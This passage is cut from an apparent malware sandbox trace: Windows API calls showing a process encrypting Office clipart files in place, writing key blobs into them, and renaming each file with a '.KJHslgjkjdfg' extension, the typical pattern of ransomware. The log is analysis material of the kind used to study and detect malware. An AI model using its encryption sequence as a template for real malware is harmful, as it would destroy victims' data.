lpOverlapped=0x0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.899] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.899] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.899] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6e8, lpOverlapped=0x0) returned 1 [0158.899] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6f0) returned 1 [0158.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.899] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6f0, lpOverlapped=0x0) returned 1 [0158.899] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.899] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.899] SetEndOfFile (hFile=0x114) returned 1 [0158.902] GetProcessHeap () returned 0x2a0000 [0158.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.902] GetProcessHeap () returned 0x2a0000 [0158.902] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.902] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.kjhslgjkjdfg")) returned 1 [0158.903] CloseHandle (hObject=0x114) returned 1 [0158.903] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0158.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.904] GetProcessHeap () returned 0x2a0000 [0158.904] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.904] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.904] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.907] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.907] GetProcessHeap () returned 0x2a0000 [0158.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.907] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.907] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.907] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.907] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.907] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.907] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.908] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.908] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.908] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x384, lpOverlapped=0x0) returned 1 [0158.908] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390, dwBufLen=0x390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x390) returned 1 [0158.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.908] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x390, lpOverlapped=0x0) returned 1 [0158.908] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.908] SetEndOfFile (hFile=0x114) returned 1 [0158.911] GetProcessHeap () returned 0x2a0000 [0158.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.911] GetProcessHeap () returned 0x2a0000 [0158.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.kjhslgjkjdfg")) returned 1 [0158.912] CloseHandle (hObject=0x114) returned 1 [0158.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0158.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.912] GetProcessHeap () returned 0x2a0000 [0158.912] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.912] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.912] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.912] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.914] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.914] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.915] GetProcessHeap () returned 0x2a0000 [0158.915] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.915] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.915] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.915] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.915] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.915] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.915] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.915] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.915] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.915] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9dc, lpOverlapped=0x0) returned 1 [0158.915] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e0) returned 1 [0158.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.916] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9e0, lpOverlapped=0x0) returned 1 [0158.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.916] SetEndOfFile (hFile=0x114) returned 1 [0158.918] GetProcessHeap () returned 0x2a0000 [0158.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.918] GetProcessHeap () returned 0x2a0000 [0158.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf.kjhslgjkjdfg")) returned 1 [0158.919] CloseHandle (hObject=0x114) returned 1 [0158.919] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf93000, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4bf93000, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0158.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.920] GetProcessHeap () returned 0x2a0000 [0158.920] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.920] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.920] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.920] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.921] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.921] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.922] GetProcessHeap () returned 0x2a0000 [0158.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.922] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.922] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.922] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x914, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x914, lpOverlapped=0x0) returned 1 [0158.922] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920, dwBufLen=0x920 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x920) returned 1 [0158.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.922] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x920, lpOverlapped=0x0) returned 1 [0158.922] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.923] SetEndOfFile (hFile=0x114) returned 1 [0158.925] GetProcessHeap () returned 0x2a0000 [0158.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.925] GetProcessHeap () returned 0x2a0000 [0158.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.kjhslgjkjdfg")) returned 1 [0158.926] CloseHandle (hObject=0x114) returned 1 [0158.926] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28f0200, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf28f0200, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0158.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.926] GetProcessHeap () returned 0x2a0000 [0158.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.926] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.928] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.929] GetProcessHeap () returned 0x2a0000 [0158.929] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.929] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.929] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.929] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.929] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.929] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.929] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.929] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.929] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.929] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.929] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, 